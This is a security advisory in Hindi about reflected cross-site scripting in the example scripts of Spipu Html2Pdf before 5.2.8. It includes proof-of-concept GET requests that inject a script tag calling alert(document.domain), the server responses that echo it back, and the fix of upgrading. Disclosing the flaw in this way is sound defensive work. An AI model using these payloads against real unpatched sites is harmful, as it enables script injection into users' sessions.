
Spipu Html2Pdf < 5.2.8 - उदाहरण फ़ाइलों में XSS कमजोरियाँ
Spipu Html2Pdf < 5.2.8 - उदाहरण फ़ाइलों में XSS कमजोरियाँ।
Spipu Html2Pdf उदाहरण फ़ाइलों में क्रॉस-साइट-स्क्रिप्टिंग (XSS) कमजोरी। यह कमजोरी एक हमलावर को वर्तमान में लॉग-इन उपयोगकर्ता के संदर्भ में अविश्वसनीय जावास्क्रिप्ट कोड निष्पादित करने की अनुमति देती है।
यह कमजोरी example9.php और forms.php उदाहरण फ़ाइलों को पारित किए गए किसी भी पैरामीटर में मौजूद है।
forms.php स्क्रिप्ट के लिए उदाहरण अनुरोध:
GET /html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script> HTTP/1.1
Host: example.afine.com
Cookie: PHPSESSID=oiqo2oopiqt88teqgfb0a23vk0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
सर्वर प्रतिक्रिया:
HTTP/1.1 200 OK
Server: Apache
Content-Length: 2215
Connection: close
Content-Type: text/html; charset=UTF-8
[...]
<page footer="form">
<h1>Test de formulaire</h1><br>
<br>
<form action="http://example.afine.com:443/html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script>">
<input type="hidden" name="test" value="1">
[...]
example9.php स्क्रिप्ट के लिए उदाहरण अनुरोध:
GET /html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/?nom=1 HTTP/1.1
Host: example.afine.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
सर्वर प्रतिक्रिया:
HTTP/1.1 200 OK
Date: Sat, 08 Jul 2023 18:32:51 GMT
Server: Apache
X-Powered-By: PHP/7.4.8
Content-Length: 795
Connection: close
Content-Type: text/html; charset=UTF-8
[...]
<body>
<br>
Ceci est un exemple de génération de PDF via un bouton :)<br>
<br>
<img src="http://example.afine.com/html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/res/exemple09.png.php?px=5&py=20" alt="image_php" ><br>
<br>
<br>
<form method="get" action="">
[...]
यह समस्या प्रदान किए गए अनुरोध पैरामीटरों के स्वच्छीकरण की कमी के कारण हुई थी। यह समस्या Spipu Html2Pdf संस्करण 5.2.8 में ठीक कर दी गई है।
< 5.2.8
Spipu Html2Pdf को 5.2.8 या नए संस्करण में अपडेट करें।